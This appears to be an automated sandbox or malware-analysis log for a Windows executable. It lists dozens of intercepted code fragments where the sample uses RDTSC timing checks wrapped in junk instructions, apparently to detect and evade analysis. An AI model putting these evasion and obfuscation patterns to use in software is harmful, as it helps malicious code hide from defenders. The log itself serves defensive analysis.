Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8038A second address: 4D8039F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8039F second address: 4D803A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803A5 second address: 4D803A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803A9 second address: 4D803F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jmp 00007F942050A3A6h 0x00000011 xchg eax, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F942050A3A7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803F3 second address: 4D80405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 65h 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80405 second address: 4D8040A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8040A second address: 4D80410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80410 second address: 4D8041D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D804E0 second address: 4D804E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, E7h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D804E7 second address: 4D80543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F9490589550h 0x0000000d pushad 0x0000000e pushad 0x0000000f movzx esi, bx 0x00000012 pushfd 0x00000013 jmp 00007F942050A39Dh 0x00000018 add esi, 0B9CEF96h 0x0000001e jmp 00007F942050A3A1h 0x00000023 popfd 0x00000024 popad 0x00000025 mov esi, 2028C407h 0x0000002a popad 0x0000002b sub eax, eax 0x0000002d jmp 00007F942050A3A3h 0x00000032 mov dword ptr [esi], edi 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80543 second address: 4D80547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80547 second address: 4D80562 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80562 second address: 4D805C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c pushad 0x0000000d mov di, si 0x00000010 pushfd 0x00000011 jmp 00007F9420DD1F48h 0x00000016 xor ch, FFFFFFD8h 0x00000019 jmp 00007F9420DD1F3Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esi+08h], eax 0x00000023 pushad 0x00000024 mov ebx, eax 0x00000026 mov ebx, ecx 0x00000028 popad 0x00000029 mov dword ptr [esi+0Ch], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D805C1 second address: 4D805C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D805C7 second address: 4D80608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+4Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9420DD1F3Dh 0x00000015 sbb eax, 593DC7D6h 0x0000001b jmp 00007F9420DD1F41h 0x00000020 popfd 0x00000021 mov bl, cl 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80608 second address: 4D80658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A3A8h 0x00000009 sbb cx, 8D28h 0x0000000e jmp 00007F942050A39Bh 0x00000013 popfd 0x00000014 push esi 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esi+10h], eax 0x0000001c jmp 00007F942050A3A2h 0x00000021 mov eax, dword ptr [ebx+50h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80658 second address: 4D8065C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8065C second address: 4D80662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80662 second address: 4D806C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+14h], eax 0x0000000c jmp 00007F9420DD1F40h 0x00000011 mov eax, dword ptr [ebx+54h] 0x00000014 pushad 0x00000015 mov edi, ecx 0x00000017 call 00007F9420DD1F3Ah 0x0000001c mov ecx, 09EF62E1h 0x00000021 pop ecx 0x00000022 popad 0x00000023 mov dword ptr [esi+18h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F9420DD1F48h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D806C1 second address: 4D8074D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+58h] 0x0000000c jmp 00007F942050A3A6h 0x00000011 mov dword ptr [esi+1Ch], eax 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F942050A39Eh 0x0000001b or si, 2438h 0x00000020 jmp 00007F942050A39Bh 0x00000025 popfd 0x00000026 call 00007F942050A3A8h 0x0000002b mov cx, 86F1h 0x0000002f pop eax 0x00000030 popad 0x00000031 mov eax, dword ptr [ebx+5Ch] 0x00000034 jmp 00007F942050A39Dh 0x00000039 mov dword ptr [esi+20h], eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F942050A39Dh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8074D second address: 4D80794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c jmp 00007F9420DD1F3Eh 0x00000011 mov dword ptr [esi+24h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx edi, si 0x0000001a call 00007F9420DD1F46h 0x0000001f pop ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80794 second address: 4D807B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 mov ecx, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+64h] 0x0000000e pushad 0x0000000f mov di, 99A6h 0x00000013 mov si, bx 0x00000016 popad 0x00000017 mov dword ptr [esi+28h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807B4 second address: 4D807B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807B8 second address: 4D807BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807BE second address: 4D807C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807C4 second address: 4D807C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807C8 second address: 4D8082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+68h] 0x0000000e pushad 0x0000000f mov di, ax 0x00000012 pushfd 0x00000013 jmp 00007F9420DD1F40h 0x00000018 sub ax, 49A8h 0x0000001d jmp 00007F9420DD1F3Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov dword ptr [esi+2Ch], eax 0x00000027 pushad 0x00000028 popad 0x00000029 mov ax, word ptr [ebx+6Ch] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F9420DD1F48h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8082A second address: 4D80842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+30h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80842 second address: 4D8084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 7914h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8084B second address: 4D80877 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 3C5Fh 0x00000007 push eax 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ax, word ptr [ebx+00000088h] 0x00000013 jmp 00007F942050A39Eh 0x00000018 mov word ptr [esi+32h], ax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80877 second address: 4D8087C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8087C second address: 4D808D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+0000008Ch] 0x0000000f pushad 0x00000010 mov eax, 3E85077Dh 0x00000015 popad 0x00000016 mov dword ptr [esi+34h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov esi, 4EF2B417h 0x00000021 pushfd 0x00000022 jmp 00007F942050A39Ch 0x00000027 jmp 00007F942050A3A5h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D808D2 second address: 4D808F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D808F0 second address: 4D808F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D808F4 second address: 4D80907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80907 second address: 4D8092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+38h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8092A second address: 4D80934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80934 second address: 4D809D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebx+1Ch] 0x0000000a pushad 0x0000000b mov dl, D8h 0x0000000d pushfd 0x0000000e jmp 00007F942050A3A6h 0x00000013 sub esi, 5B0B0F08h 0x00000019 jmp 00007F942050A39Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esi+3Ch], eax 0x00000023 jmp 00007F942050A3A6h 0x00000028 mov eax, dword ptr [ebx+20h] 0x0000002b pushad 0x0000002c mov si, 1CBDh 0x00000030 mov ah, C7h 0x00000032 popad 0x00000033 mov dword ptr [esi+40h], eax 0x00000036 jmp 00007F942050A3A5h 0x0000003b lea eax, dword ptr [ebx+00000080h] 0x00000041 jmp 00007F942050A39Eh 0x00000046 push 00000001h 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F942050A3A7h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D809D6 second address: 4D80A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9420DD1F48h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A10 second address: 4D80A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A16 second address: 4D80A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A1C second address: 4D80A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A20 second address: 4D80A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F9420DD1F3Bh 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9420DD1F45h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A62 second address: 4D80B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A3A7h 0x00000009 jmp 00007F942050A3A3h 0x0000000e popfd 0x0000000f mov cx, B07Fh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F942050A3A0h 0x00000020 sbb cx, 8468h 0x00000025 jmp 00007F942050A39Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F942050A3A8h 0x00000031 xor ax, 56C8h 0x00000036 jmp 00007F942050A39Bh 0x0000003b popfd 0x0000003c popad 0x0000003d nop 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F942050A3A5h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B01 second address: 4D80B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F9420DD1F45h 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B2A second address: 4D80B30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BB2 second address: 4D80BFE instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F9420DD1F3Fh 0x0000000d call 00007F9420DD1F48h 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [ebp-0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9420DD1F43h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BFE second address: 4D80C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80C02 second address: 4D80C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80C08 second address: 4D80C2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 mov bx, 483Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80C2E second address: 4D80CB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+78h] 0x0000000c pushad 0x0000000d mov eax, 64C9DEEDh 0x00000012 movzx esi, di 0x00000015 popad 0x00000016 push 00000001h 0x00000018 jmp 00007F9420DD1F45h 0x0000001d nop 0x0000001e jmp 00007F9420DD1F3Eh 0x00000023 push eax 0x00000024 jmp 00007F9420DD1F3Bh 0x00000029 nop 0x0000002a jmp 00007F9420DD1F46h 0x0000002f lea eax, dword ptr [ebp-08h] 0x00000032 jmp 00007F9420DD1F40h 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80CB4 second address: 4D80CD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D8C second address: 4D80E1B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F9420DD1F49h 0x0000000c adc si, 2F56h 0x00000011 jmp 00007F9420DD1F41h 0x00000016 popfd 0x00000017 popad 0x00000018 mov eax, dword ptr [ebp-04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F9420DD1F43h 0x00000024 jmp 00007F9420DD1F43h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F9420DD1F48h 0x00000030 and al, 00000008h 0x00000033 jmp 00007F9420DD1F3Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E1B second address: 4D80E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A39Fh 0x00000009 sub ecx, 688B6B4Eh 0x0000000f jmp 00007F942050A3A9h 0x00000014 popfd 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esi+08h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F942050A3A9h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80E72 second address: 4D80EDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c jmp 00007F9420DD1F3Eh 0x00000011 push 00000001h 0x00000013 jmp 00007F9420DD1F40h 0x00000018 nop 0x00000019 jmp 00007F9420DD1F40h 0x0000001e push eax 0x0000001f jmp 00007F9420DD1F3Bh 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F9420DD1F40h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80EDC second address: 4D80EE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80EE2 second address: 4D80EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, EDh 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-18h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80EF6 second address: 4D80EFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80EFA second address: 4D80F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80F00 second address: 4D80F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov cx, 67CBh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F942050A39Eh 0x00000016 add ecx, 0EBFDED8h 0x0000001c jmp 00007F942050A39Bh 0x00000021 popfd 0x00000022 mov ah, 81h 0x00000024 popad 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F942050A3A7h 0x00000030 add ecx, 68A2964Eh 0x00000036 jmp 00007F942050A3A9h 0x0000003b popfd 0x0000003c mov cx, F257h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81025 second address: 4D8102B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8102B second address: 4D8102F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8102F second address: 4D81066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F9490E505AEh 0x0000000e jmp 00007F9420DD1F3Fh 0x00000013 mov eax, dword ptr [ebp-14h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9420DD1F45h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81066 second address: 4D8106D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8106D second address: 4D8109B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, esi 0x00000009 pushad 0x0000000a mov bl, 20h 0x0000000c mov di, si 0x0000000f popad 0x00000010 mov dword ptr [esi+0Ch], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9420DD1F49h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8109B second address: 4D8110A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A3A7h 0x00000009 add eax, 1D6FFEAEh 0x0000000f jmp 00007F942050A3A9h 0x00000014 popfd 0x00000015 movzx ecx, dx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov edx, 74E806ECh 0x00000020 jmp 00007F942050A3A3h 0x00000025 sub eax, eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F942050A3A2h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8110A second address: 4D8110F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8110F second address: 4D8116E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lock cmpxchg dword ptr [edx], ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F942050A39Bh 0x00000017 add ax, D6CEh 0x0000001c jmp 00007F942050A3A9h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F942050A3A0h 0x00000028 and ax, 1F48h 0x0000002d jmp 00007F942050A39Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
